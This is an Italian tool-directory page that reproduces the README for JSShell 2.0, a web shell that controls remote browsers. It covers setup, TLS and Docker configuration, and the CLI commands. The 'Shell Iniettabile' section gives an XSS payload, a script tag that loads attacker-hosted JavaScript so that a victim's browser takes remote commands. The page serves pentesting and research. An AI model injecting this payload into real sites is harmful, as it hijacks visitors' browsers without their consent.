Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
JSShell — Una shell web JS interattiva multiutente | Kitploit
Strumenti/GitHubGitHub/den1al/jsshell
ExploitSfruttamento di Applicazioni WebPenetration TestingStrumento di Accesso Remoto
GitHubden1al/jsshell

JSShell

Una shell web JS interattiva multiutente

Vedi Repository
3647016 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

JSShell 2.0

made-with-python Generic badge Generic badge

Una shell JavaScript interattiva multi-utente basata sul web. È stata creata inizialmente per eseguire il debug di browser esoterici remoti durante esperimenti e ricerche. Questo strumento può essere facilmente allegato a payload XSS (Cross Site Scripting) per ottenere l'esecuzione remota di codice nel browser (simile al framework BeeF).

La versione 2.0 è stata creata interamente da zero, introducendo nuove entusiasmanti funzionalità, stabilità e manutenibilità.

Versione: 2.0

Autore

Daniel Abeles.

Video della Shell

asciicast

Funzionalità

  • Supporto multi client
  • Supporto per oggetti DOM ciclici
  • Script di pre-flight
Scarica lo strumento
  • Coda di comandi e contesto
  • Estendibile con plugin
  • Iniettabile tramite tag <script>
  • Salvataggio output comandi su file
  • Paginazione della shell
  • Supporto HTTPS! Generic badge
  • Installazione e Configurazione

    File di Configurazione

    Nella directory resources, aggiorna il file config.json con la configurazione desiderata:

    • Host del database - se si utilizza il metodo di distribuzione docker, imposta l'host del database come db (che è il nome host interno).
    • URL di ritorno - l'URL che i richieste seguiranno. Il file shell.js effettua alcune chiamate AJAX per registrarsi e interrogare nuovi comandi. Di solito sarà http[s]://{YOUR_SERVER_IP}:{PORT}.
    • Script di avvio - uno script che viene eseguito automaticamente quando viene avviato il client CLI di JSShell.
    • Dominio - se desideri generare certificati TLS, questo è il nome di dominio che il server utilizzerà.
    • È anche possibile puntare a un database remoto se desiderato.

    Let's Encrypt

    Ora JSShell supporta TLS, il che significa che puoi generare certificati TLS e fornirli al server web. Il server web dedurrà il nome di dominio dal file config.json. Per creare il certificato, utilizza lo script create_cert.py nella cartella scripts:

    root@kitploit:~
    $ cd scripts
    $ python create_cert.py --domain <YOUR_DOMAIN> --email <YOUR_EMAIL>
    
    il campo email è opzionale.

    Si prega di notare che il server web deve essere fermo affinché lo script funzioni correttamente. A questo punto, abbiamo generato con successo i nostri certificati! Le uniche modifiche che dobbiamo apportare sono:

    • Nel file config.json, cambia lo schema del campo URL in https.
    • Nel file docker-compose.yml, cambia la porta esposta del contenitore web a 443.

    Docker

    Questa nuova versione supporta l'installazione e l'esecuzione di JSShell tramite docker e docker-compose. Ora, per installare ed eseguire l'intero framework JSShell, esegui semplicemente:

    root@kitploit:~
    $ ./scripts/start_docker_shell.sh
    

    Questo:

    • Avvia e crea il database in background
    • Avvia il server API web che gestisce le connessioni in entrata in background
    • Avvia una nuova istanza del contenitore dell'interfaccia a riga di comando di JSShell

    Normale

    Se preferisci ancora utilizzare il metodo di installazione tradizionale, assicurati di avere un database MongoDB attivo e funzionante, e aggiorna il file config.json situato nella directory resources.

    Raccomando di utilizzare un ambiente virtuale con pyenv:

    root@kitploit:~
    $ pyenv virtualenv -p python3.6 venv
    $ pyenv activate venv
    

    Oppure utilizzando virtualenv:

    root@kitploit:~
    $ virtualenv -p python3.6 venv
    $ source venv/bin/activate
    

    Quindi, installa i requisiti:

    root@kitploit:~
    $ pip install -r requirements.txt
    

    Esecuzione

    Se hai utilizzato il metodo docker, non è necessario eseguire la procedura seguente.

    Server Web

    Altrimenti, una volta impostato il database, dobbiamo avviare il server API web. Per farlo, esegui:

    root@kitploit:~
    $ python manage.py web
    

    Questo creerà e avvierà un server web che ascolta le connessioni in entrata e serve il nostro codice JSShell.

    Shell

    Ora per avviare la CLI di JSShell, esegui lo stesso script ma con il flag shell:

    root@kitploit:~
    $ python manage.py shell
    

    Utilizzo

    Dopo la configurazione e l'esecuzione dei componenti richiesti, inserisci il comando help per vedere i comandi disponibili:

    root@kitploit:~
         ╦╔═╗┌─┐┬ ┬┌─┐┬  ┬  
         ║╚═╗└─┐├─┤├┤ │  │  
        ╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0     
            by @Daniel_Abeles
        
    >> help
    
    Documented commands (type help <topic>):
    
    General Commands
    --------------------------------------------------------------------------------
    edit                Edit a file in a text editor
    help                List available commands or provide detailed help for a specific command
    history             View, run, edit, save, or clear previously entered commands
    ipy                 Enter an interactive IPython shell
    py                  Invoke Python command or shell
    quit                Exit this application
    
    Shell Based Operations
    --------------------------------------------------------------------------------
    back                Un-select the current selected client
    clients             List and control the clients that have registered to our system
    commands            Show the executed commands on the selected client
    dump                Dumps a command to the disk
    execute             Execute commands on the selected client
    select              Select a client as the current client
    
    >> 
    

    Flusso

    JSShell supporta 2 metodi di funzionamento:

    1. Shell Iniettabile (simile al framework BeeF)
    2. Shell Ospitata (per debug)

    Shell Iniettabile

    Simile ad altri framework di controllo XSS (come BeeF), JSShell è in grado di gestire con successo exploit XSS. Ad esempio, se puoi iniettare un tag script, inietta la seguente risorsa nel tuo payload, e un nuovo client apparirà nella tua console:

    <script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>

    Shell Ospitata

    Se desideri eseguire il debug di browser esotici e di nicchia, puoi semplicemente navigare a http[s]://{YOUR_SERVER_IP}:{PORT}/ e un nuovo client apparirà nel tuo client CLI JSShell. Ora è debuggabile tramite la console JSShell.

    Crediti

    Canop per JSON.prune

    usalo a tua responsabilità e rischio.